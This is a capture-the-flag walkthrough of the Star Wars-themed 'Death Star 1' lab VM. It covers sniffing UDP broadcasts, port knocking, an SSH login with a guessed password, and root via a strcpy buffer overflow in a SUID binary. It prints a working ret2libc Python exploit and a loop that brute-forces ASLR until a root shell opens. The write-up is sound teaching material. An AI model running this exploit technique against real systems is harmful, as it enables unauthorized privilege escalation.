Death Star 1

The name of the challenge itself gives a hint, that there might be a extremely small, yet very effective attack surface present. Let’s see, if we can re-create the iconic cinematic scene.

After importing and starting up the virtual machine, it already greets us with the assigned IP address, which is a good start to just jump directly into the first enumeration: port scanning.

And just as I expected, no helpful information has been found during port scanning. Both TCP and UDP scan results were basically useless. At this point, the required Information couldn’t be retrieved by a simple port scan.

So I started up Wireshark to check, even though this machine seems not “to hear”, if it “speaks”. And it did.

After some seconds of waiting, the following has been intercepted by Wireshark as UDP broadcast:

Thanks to the successful Operation Skyhook, the Rebel Alliance

got some plans for the new weapon of the Galactic Empire. We

know that there is a small opening that we can explore through a

thermal exhaust that is directly connected to the Main Reactor of the

Death Star. The superlaser takes 1440 minutes to reload.

It is very important to observe 'this window' in order to recover the blueprint.

This is because, it is only possible to make an attempt every 60 seconds.

A second UDP packet contained the following code:

Code to access the Death Star Blueprint

within the time it takes to reload is: DS-1@OBS

The mentioning of 1440 minutes and 60 seconds for an attempt seemed to be the needed hints. A connection attempt to UDP port 1440 looked very promising:

root@kali:~# nc -nvu 193.30.115.34 1440
(UNKNOWN) [193.30.115.34] 1440 (?) open
?

Wrong Code!!
We'll notify Commander Tarkin of this offense.

So UDP port 1440 answered. Obviously, it is checking for the correct code. Sending the code catched within the second UDP paket, the response changed. The port is now responding with a very large text, which looks suspiciously like Base64 encoded text. The following command can do it’s magic after the response has been saved within “code.txt”:

root@kali:~# cat code.txt | base64 -d > result

with the “file” command, the file type can be checked:

root@kali:~# file result
result: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 900x688, components 3

obviously, a JPEG image has just been decoded. The image is a blueprint of the Death Star:

So, we just found the blueprint which the intercepted transmission (UDP packet) talked about.

At the bottom right corner, a “code to unlock” is printed right below “Thermal Exhaust Port (two-meter-wide)”.

The code is:

197719801983

This code represents the years of first screenings of the original Star Wars trilogy, but it needed a knock on the door with 3-digit ports:

root@kali:~# knock <IP> 197 719 801 983

to unlock port 10110/tcp:

PORT STATE SERVICE
10110/tcp open nmea-0183

Connecting to the given Port with Netcat reveals a welcome message:

root@kali:~# nc -nv <IP> 10110
(UNKNOWN) [IP] 10110 (?) open
SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2

Next step would be to connect to the given port via SSH:

root@kali:~# ssh -p 10110 <IP>

… which welcomes with:

Devoloped by Galen Walton Erso
System's user: erso
Pass Hint: My wife's first name plus the year (BBY) she died.

Glory to the Empire - Project DS-1: Orbital Battle Station

Two hints are given here by the DeathStar:

  1. The user name is “erso”
  2. The password is the wife’s name with the year she died

Galen Erso’s wife from the movie “Rogue One – A Star Wars Story” is Lyra Erso. She died 13BBY during the events of the movie. As a result, the password is: lyra13

Given the password, we’re presented with a low priv shell:

erso@deathStar1:~$

… and with a warning:

erso@deathStar1:~$ cat warning.txt

Message from GALEN ERSO:

This is your chance. Destroy the plans of the Galactic Empire. I know that Lord Vader will not like this at all. But, this will be my chance for redemption. I hope you have enough knowledge to help destroy this new weapon.

Explore the system and get 'root access' to read the secret message located at '/root/message.txt'.

Hack or fail!!

One of the first things to do during the local enumeration is to check local file permissions. While checking the /bin directory, a specific file caught my attention:

erso@deathStar1:~$ ls -lha /bin
total 9.2M
drwxr-xr-x  2 root root 4.0K May  3 20:32 .
drwxr-xr-x 22 root root 4.0K May  3 21:08 ..
[...]
-rwsr-xr-x  1 root root 7.2K Nov  7  2019 dartVader

The dartVader binary has the suid flag set.

Next step would be to check if the binary accepts parameters:

erso@deathStar1:~$ dartVader 
dartVader: Voce tem um futuro aqui. Nao seja um Lammer, busque e aprenda realmente...

erso@deathStar1:~$ dartVader hello
erso@deathStar1:~$

The binary behaves differently when offered a parameter. Let’s inspect the binary with more detail:

erso@deathStar1:~$ objdump -d /bin/dartVader

/bin/dartVader:     file format elf32-i386
0804844d <main>:
 804844d:       55                      push   %ebp
 804844e:       89 e5                   mov    %esp,%ebp
 8048450:       83 e4 f0                and    $0xfffffff0,%esp
 8048453:       83 ec 50                sub    $0x50,%esp
 8048456:       83 7d 08 01             cmpl   $0x1,0x8(%ebp)
 804845a:       75 14                   jne    8048470 <main+0x23>
 804845c:       c7 44 24 04 20 85 04    movl   $0x8048520,0x4(%esp)
 8048463:       08 
 8048464:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 804846b:       e8 d0 fe ff ff          call   8048340 <errx@plt>
 8048470:       8b 45 0c                mov    0xc(%ebp),%eax
 8048473:       83 c0 04                add    $0x4,%eax
 8048476:       8b 00                   mov    (%eax),%eax
 8048478:       89 44 24 04             mov    %eax,0x4(%esp)
 804847c:       8d 44 24 10             lea    0x10(%esp),%eax
 8048480:       89 04 24                mov    %eax,(%esp)
 8048483:       e8 88 fe ff ff          call   8048310 <strcpy@plt>
 8048488:       c9                      leave  
 8048489:       c3                      ret    
 804848a:       66 90                   xchg   %ax,%ax
 804848c:       66 90                   xchg   %ax,%ax
 804848e:       66 90                   xchg   %ax,%ax

One specific line here caught my attention. The binary seems to use the strcpy function, known to be the root of many buffer overflow vulnerabilities.

Let’s see what happens if we use a long string parameter:

erso@deathStar1:~$ /bin/dartVader AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

This confirms what has been expected: a buffer overflow vulnerability might happen here.

Since there is no debugging tool available on the target host, ne binary needs to be inspected further locally.

With GDB attached, the buffer overflow can be confirmed:

gdb-peda$ r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /tmp/dartVader AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd610 ('A' <repeats 88 times>)
EBX: 0x0 
ECX: 0xffffd890 ("AAAAAA")
EDX: 0xffffd662 ("AAAAAA")
ESI: 0xf7fb5000 --> 0x1dfd6c 
EDI: 0xf7fb5000 --> 0x1dfd6c 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd660 ("AAAAAAAA")
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141

EIP got overwritten with 0x41 (hex for ascii A), next step is to determine the exact offset of this overwrite. The tool pattern_create from MSF can be used for this:

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Once the created pattern is used as a parameter for the binary with the debugger attached, EIP is overwritten with a different address:

Invalid $PC address: 0x63413563

Now the exact offset can be calculated with pattern_offset, given the overwritten address:

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 63413563
[*] Exact match at offset 76

Result: EIP is overwritten right after byte 76

Now, EIP will be overwritten with 0x42 to confirm the exact offset:

gdb-peda$ r $(python -c 'print("A"*76+"B"*4)')
Starting program: /tmp/dartVader $(python -c 'print("A"*76+"B"*4)')

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd620 ('A' <repeats 76 times>, "BBBB")
EBX: 0x0 
ECX: 0xffffd890 ("AABBBB")
EDX: 0xffffd66a ("AABBBB")
ESI: 0xf7fb5000 --> 0x1dfd6c 
EDI: 0xf7fb5000 --> 0x1dfd6c 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd670 --> 0x0 
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242

EIP is now overwritten with 0x42 (hex for ASCII B), confirming the offset of 76 bytes.

Before the exploitation can continue, the available security measures should be checked using checksec on the local machine:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

So, NX is active for the binary, and

erso@deathStar1:~$ cat /proc/sys/kernel/randomize_va_space 
2

… ASLR is active on the target operating system. Let’s focus on NX bypass first.

The targeted exploit structure will be:

  1. Padding of 76 bytes
  2. Overwrite EIP with the address of the system() function in LIBC
  3. Address of the exit() function in LIBC as parameter for system()
  4. Address of “/bin/sh” string in LIBC as another parameter for system()

In this setup, no code will be executed on the stack, effectively bypassing the NX bit.

First step is to determine a possible LIBC base address:

erso@deathStar1:~$ ldd /bin/dartVader | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7551000)

So the used base address in this exploit is: 0xb7551000

Now it’s needed to check offsets for system(), exit() and the “/bin/sh” string in LIBC:

erso@deathStar1:~$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep __libc_system\>:
00040310 <__libc_system>:
erso@deathStar1:~$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep \<exit\>:
00033260 <exit>:
erso@deathStar1:~$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 162d4c /bin/sh

so, final addresses are:

system: 040310 + base => 0xb7591310

exit: 033260 + base => 0xb7584260

/bin/sh: 162d4c + base => 0xb76b3d4c

Now a python script can be compiled with the given values:

#!/usr/bin/python

from struct import *

buf = "A"*76
buf += pack("<L",0xb7591310)
buf += pack("<L",0xb7584260)
buf += pack("<L",0xb76b3d4c)
print(buf)

So far, so good. This should be able to bypass NX. Now, only ASLR is remaining.

Since ASLR here is only randomizing 8 bit in the address, it needs to repeat at some point. So, let’s just hammer this exploit against the binary, until we get that root shell:

erso@deathStar1:~$ while true; do /bin/dartVader $(python exploit.py); done
Segmentation fault (core dumped)
[...]
Segmentation fault (core dumped)
# whoami
root

Got root! Final Message is:

-------------------------------------

Congratulations!!
You helped me destroy the empire's weapon.

-------------------------------------
If you had fun, love to get your feedback.
Send me a tweet @mrhenrike ;)

Until the next VM and "May the force be with you".

The only thing to say now, is:

Thanks to MrHenrike for this very interesting and entertaining challenge!

And a shout out to https://twitter.com/dhn_, thank you for keeping me motivated!

Please follow and like us: